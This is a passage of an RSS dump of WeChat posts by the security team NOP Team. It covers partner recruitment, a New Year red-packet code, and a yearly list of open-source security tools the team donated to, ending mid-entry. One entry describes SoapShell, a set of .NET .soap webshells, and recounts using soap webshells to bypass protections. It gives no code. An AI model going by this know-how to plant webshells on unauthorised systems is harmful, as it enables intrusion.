leaf="">申请生态合作伙伴流程如下：</span></p><ol style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><span leaf="">提交简历</span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><span leaf="">提交擅长领域</span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><span leaf="">详细面试了解</span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><span leaf="">统计专业实力布局</span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><span leaf="">成为生态合作伙伴</span></section></li></ol><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span leaf="">想申请成为生态合作伙伴的朋友可以加我的微信:  </span><code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">just_hack_for_fun</span></code></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">普通合作伙伴</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span leaf="">和之前保持一致，持续关注 </span><strong><span leaf="">漫流沙</span></strong><span leaf=""> (NOPTeam) 公众号，即可获取最新项目信息。无需繁复流程，轻松参与感兴趣的项目</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">希望增长项目经验的朋友们</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span leaf="">我们的关注群体涵盖了大量对网络安全领域感兴趣的大学生及有志于踏入该领域的爱好者，部分朋友技术水平和经验比较薄弱，纯粹希望通过加入实际的网络安全项目来了解学习一下</span></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span leaf="">这件事之前我们也在做，但是由于管理方式问题，没有办法第一时间找到大家，我们正优化管理机制，确保每位渴望成长的朋友能在合适的项目中获得实战经验</span></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span leaf="">希望累积网络安全项目经验的朋友们，请同样添加微信：</span><code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">just_hack_for_fun</span></code><span leaf="">，我们将统一安排，力求让更多热爱安全事业的伙伴受益</span></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span leaf=""><br/></span></p><section class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="漫流沙" data-alias="NOPTeam" data-from="0" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/UlgAzaKh8eF57vBPejfAOpPLDtkibsSibKarX0ejMwOnc1JjDs20W0ZEMHZvma5uSlWlBj7dEC1ibBPuXGgxouApA/0?wx_fmt=png" data-signature="NOP Team 项目发布专用号" data-id="MzI1MTU4ODI3Nw==" data-is_biz_ban="0"></mp-common-profile></section><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span leaf=""><br/></span></p></section><p><span leaf=""><br/></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247502756">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=6426913d&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU1NDkwMzAyMg%3D%3D%26mid%3D2247502756%26idx%3D2%26sn%3D19081091f06e1384fb4b426a4263f857%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 26 Feb 2025 21:26:00 +0800</pubDate>
    </item>
    <item>
      <title>朋友们，新春快乐！&#xA;我们给大家准备了一个拼手气红包，感谢大家的关注和支持!&#xA;支付宝口令: 在最坚硬的石头上刻朵小花</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502670&amp;idx=1&amp;sn=67f1a2ec1695f5a7253c54bb966668c0</link>
      <description></description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2025-01-29 20:00</span> <span style="display: inline-block;">黑龙江</span>
</p>

<p></p>
<p>朋友们，新春快乐！</p>
<p>我们给大家准备了一个拼手气红包，感谢大家的关注和支持!</p>
<p>支付宝口令: 在最坚硬的石头上刻朵小花</p>




<div id="js_top_profile" class="profile_area_hide"><div id="follow_placeholder" aria-hidden="true" class="wx_follow_context wx_follow_primary wx_follow_smart wx_follow_top "><div class="wx_follow_media weui-flex weui-flex_align-center "><div class="wx_follow_hd "><img src="http://mmbiz.qpic.cn/mmbiz_png/fZT30hrVgRftxytNjJnL5eOVg23jso0f1Xjf2t8ibBgUvibZjvSkOxsQdP2trmzlpmwBIQU9CObUr93c6p1qNHmg/300?wx_fmt=png" class="wx_follow_avatar "/></div> <div class="wx_follow_bd weui-flex__item "><div class="wx_follow_info "><div class="wx_follow_nickname ">NOP Team</div></div></div></div></div></div> <div class="share_notice js_share_notice_dom  "><!----> </div>   <!----> <!----> <!----> <div class="wx_album_area js_album_wrap " style=""></div> <!----> <div role="option" class="rich_media_meta_list "><div class="rich_media_meta_area_primary "><!----> <span id="content_read_num" class="rich_media_meta rich_media_meta_text rich_media_meta_empty_hide "></span> </div> <div class="rich_media_meta_area_extra "><span id="publish_time" class="rich_media_meta rich_media_meta_text "></span>  <span id="js_ip_wording_wrp" class="rich_media_meta rich_media_meta_text " style="display:none;"><span id="js_ip_wording"></span></span></div></div>




<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=b8dc7930&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU1NDkwMzAyMg%3D%3D%26mid%3D2247502670%26idx%3D1%26sn%3D67f1a2ec1695f5a7253c54bb966668c0%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 29 Jan 2025 20:00:00 +0800</pubDate>
    </item>
    <item>
      <title>2024年公众号赞赏计划说明</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502667&amp;idx=1&amp;sn=9e980805fcf6f1fa7a39ce857c57159a</link>
      <description>在最坚硬的石头上刻一朵小花！</description>
      <content:encoded><![CDATA[<p>
原创 <span>NOP Team</span> <span>2025-01-19 19:42</span> <span style="display: inline-block;">北京</span>
</p>

<p>在最坚硬的石头上刻一朵小花！</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=67948cf6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfZT30hrVgRcic8orIQNujN4T4xrMScJlKw2b9Uhr3KEicuJG1m25ljCf3xVSa2ib3QYxPtN5qn13ruwVtkAR0UvQw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section><mp-common-clmusic class="clmusic_iframe res_iframe js_uneditable custom_select_card" data-pluginname="insertaudio" type="1" music_name="Lost on You" albumurl="http://wx.y.gtimg.cn/music/photo_new/T002R500x500M000004AD0yM1oxz8q_1.jpg" singer="Ryan Kinder" duration="189000" username="" music_source="1" is_vip="0" listenid="78338597594368078" count="0" avatar=""></mp-common-clmusic></section><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;margin-top: -10px;"><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">0x00 赞赏计划简介</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">大家好，我们是 NOP Team</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">2022年10月19日，我们的公众号关注达 5000 人的里程碑时，NOP Team 提出一项计划，将我们公众号每年收到的赞赏+我们公司自己也拿出与收到赞赏相同的金额，将这些全部捐献给那些为网络安全做出突出贡献的开源项目</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">此前已得到赞赏的项目清单如下:</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">JavaScript Obfuscator Tool</code></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">GOST</code></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">fscan</code></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">Vulhub</code></section></li></ul><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><br/></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">参考链接如下</p><blockquote data-tool="mdnice编辑器" style="font-size: 0.9em;overflow: auto;color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: rgb(255, 249, 249);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;"><a target="_blank" href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247491952&amp;idx=1&amp;sn=b1f491483b66db726a4d362ab14c5138&amp;scene=21#wechat_redirect" textvalue="里程碑！ 突破 5000 人啦！！！" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">里程碑！突破 5000 人啦！！！</a><br/></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;"><a target="_blank" href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247499348&amp;idx=1&amp;sn=595ce9824825d7026604ac3eefbf4d59&amp;scene=21#wechat_redirect" textvalue="Windows 应急响应手册发布" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">Windows 应急响应手册发布</a><br/></p></blockquote><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><br/></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">今年的公众号年度总结出来了，我们把情况公布一下，来自大家的赞赏为 413.96 元，加上我们公司出资 413.96 元，总共大概 828 元(由于存在额外赞赏，数额不止 828 元)，接下来会对赞赏项目进行简单介绍</p><img class="rich_pages wxw-img" data-imgfileid="100019014" data-ratio="2.1666666666666665" style="display: block;margin-right: auto;margin-left: auto;width: auto;zoom: 50%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=84c3532b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRcic8orIQNujN4T4xrMScJlKHuFTILcNyA2CyHmsosVDvk09kOiac3icqBmHqg2yWGz1KVbxLHATRkcA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">0x01 赞赏计划声明</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><blockquote data-tool="mdnice编辑器" style="font-size: 0.9em;overflow: auto;color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: rgb(255, 249, 249);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;"><strong>需要注意的是，近些年供应链攻击越来越广泛，这部分安全需要大家自己具备足够的安全意识和技术，大家在使用本文赞赏的所有工具过程中，需要自行判断风险</strong></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;"><strong>我们团队并未对项目所有代码以及开发者心理健康情况做充分调研</strong></p></blockquote><blockquote data-tool="mdnice编辑器" style="font-size: 0.9em;overflow: auto;color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: rgb(255, 249, 249);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">今年的赞赏计划通过投票的方式充分听取了各位的建议，投票结果中存在以下情况，并未给予赞赏</p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><strong style="color: black;">非开源项目</strong></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><strong style="color: black;">未留下赞赏方式的项目</strong></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><strong style="color: black;">由经营状态良好的商业公司运营的开源项目</strong></section></li></ul></blockquote><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">以下是今年赞赏计划的项目清单</p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">0x02 ptcpdump</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><blockquote data-tool="mdnice编辑器" style="font-size: 0.9em;overflow: auto;color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: rgb(255, 249, 249);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">ptcpdump 是一个使用 eBPF 技术实现的、类 tcpdump 的网络流程抓包工具。它除了兼容 tcpdump 的包过滤语法和常用命令行参数外， 还提供了一个额外的特性: 在尽可能的情况下，以包注释的形式，为每个数据包流量关联发起方或接收方的进程信息。</p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;"><a href="https://github.com/mozillazg/ptcpdump" target="_blank">https://github.com/mozillazg/ptcpdump</a></p></blockquote><blockquote data-tool="mdnice编辑器" style="font-size: 0.9em;overflow: auto;color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: rgb(255, 249, 249);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">赞赏理由：</p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">该工具最大的亮点就是能够找到发出数据包的进程 id ，这在应急响应过程中能够给工程师带来极大的便利，应对各种加密隧道时效果尤为明显，推荐</p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">该工具已在 《 Linux 应急响应手册 v1.9 》版本中添加并介绍</p></blockquote><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">0x03 蓝队分析研判工具箱</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><blockquote data-tool="mdnice编辑器" style="font-size: 0.9em;overflow: auto;color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: rgb(255, 249, 249);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">最近几年各种攻防演习比赛越来越多，网络攻击事件越来越频繁，各种加密变形的漏洞利用payload的出现，让蓝队分析难度也越来越高。在最近几年参加的几次蓝队分析工作中，我陆续写了各种各样的小工具，于是就把这些小工具集合起来，形成了这么一个“蓝队分析辅助工具箱”分享给大家使用，重点解决蓝队分析工作中的一些痛点，比如说让大家头疼的<strong>加密数据包解密问题，netstat -an无ip对应的国家与城市的物理地址问题</strong>等  —— <strong>来自希潭实验室</strong></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;"><a href="https://mp.weixin.qq.com/s/zCkUVSWIbdnNceEf8bVCXQ" target="_blank">https://mp.weixin.qq.com/s/zCkUVSWIbdnNceEf8bVCXQ</a></p></blockquote><blockquote data-tool="mdnice编辑器" style="font-size: 0.9em;overflow: auto;color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: rgb(255, 249, 249);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">赞赏理由：</p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">少有的还在干正事的公众号</p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">能够在实际工作场景中帮到大家的工具箱，推荐</p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">公众号内容、配图、排版都还不错，推荐关注</p></blockquote><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">0x04 electron-vite</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><blockquote data-tool="mdnice编辑器" style="font-size: 0.9em;overflow: auto;color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: rgb(255, 249, 249);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;"><strong>electron-vite</strong> 是一个新型构建工具，旨在为 Electron 提供更快、更精简的开发体验。它主要由五部分组成：</p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">一套构建指令，它使用 Vite 打包你的代码，并且它能够处理 Electron 的独特环境，包括 Node.js 和浏览器环境。</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">集中配置主进程、渲染器和预加载脚本的 Vite 配置，并针对 Electron 的独特环境进行预配置。</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">为渲染器提供快速模块热替换（HMR）支持，为主进程和预加载脚本提供热重载支持，极大地提高了开发效率。</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">优化 Electron 主进程资源处理。</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">使用 V8 字节码保护源代码。</section></li></ul><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">electron-vite 快速、简单且功能强大，旨在开箱即用。</p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;"><a href="https://cn.electron-vite.org/guide/" target="_blank">https://cn.electron-vite.org/guide/</a></p></blockquote><blockquote data-tool="mdnice编辑器" style="font-size: 0.9em;overflow: auto;color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: rgb(255, 249, 249);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">赞赏理由：</p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">使用 Electron 做开发的小伙伴应该对这个项目很熟悉，它让 Electron 开发和打包都变得很容易</p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">在安全性方面，可以通过简单的配置，使用V8 字节码来保护源代码</p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">在 Node.js 源代码保护方面，原本也想赞助 bytenode 项目，但是没有找到赞赏方式，遂作罢</p></blockquote><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">0x05 SoapShell</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><blockquote data-tool="mdnice编辑器" style="font-size: 0.9em;overflow: auto;color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: rgb(255, 249, 249);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">4个 .soap 版本的WebShell，可以运行于子目录，突破了过去只能运行于根目录的限制。</p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">4个脚本分别支持调用cmd.exe/哥斯拉/冰蝎/天蝎客户端 具有广泛的实用性，理论上兼容.NET 2.0 - .NET 4.x 环境</p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;"><a href="https://github.com/Ivan1ee/Sharp4SoapShell?tab=readme-ov-file" target="_blank">https://github.com/Ivan1ee/Sharp4SoapShell?tab=readme-ov-file</a></p></blockquote><blockquote data-tool="mdnice编辑器" style="font-size: 0.9em;overflow: auto;color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: rgb(255, 249, 249);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">赞赏理由：</p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">曾经在一个绕过防护的项目中，我发现 soap 文件可以作为 webshell 来实现绕过，但是很遗憾，当时测试 soap  webshell文件只能在网站根目录才可以正确使用，碍于对 .Net 不熟悉，一直也没有进行研究，这个项目成功突破了这一点限制</p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">但 Github 项目和公众号平台都没有留赞赏码，因此以购买其电子报刊的形式进行“赞赏”</p></blockquote><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">0x06 HaE</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><blockquote data-tool="mdnice编辑器" style="font-size: 0.9em;overflow: auto;color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: rgb(255, 249, 249);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;"><strong>HaE</strong>是一款<strong>网络安全（数据安全）领域</strong>下的框架式项目，采用了<strong>乐高积木式</strong>模块化设计理念，实现对HTTP消息（包含WebSocket）精细化的标记和提取。</p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">通过运用<strong>多引擎</strong>的自定义正则表达式，HaE能够准确匹配并处理HTTP请求与响应报文（包含WebSocket），对匹配成功的内容进行有效的标记和信息抽取，从而提升网络安全（数据安全）领域下的<strong>漏洞和数据分析效率</strong>。</p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;"><a href="https://github.com/gh0stkey/HaE" target="_blank">https://github.com/gh0stkey/HaE</a></p></blockquote><blockquote data-tool="mdnice编辑器" style="font-size: 0.9em;overflow: auto;color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: rgb(255, 249, 249);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">赞赏理由：</p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">关注公众号的朋友们投票票数最高的开源工具</p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">这款工具确实深受大家喜欢，它解决了一个问题：渗透测试者的精力是有限的，但是渗透测试过程中需要关注的点是巨量的。在这种背景下，可以使用该工具将很多关注点以规则的形式静态记录下来，在今后的渗透测试过程中，自动化地被动发现，大大节省了渗透测试者的精力分配，让渗透测试者可以更加有效地专注于复杂漏洞的发现。</p></blockquote><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">0x07 ScopeSentry</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><blockquote data-tool="mdnice编辑器" style="font-size: 0.9em;overflow: auto;color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: rgb(255, 249, 249);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">Scope 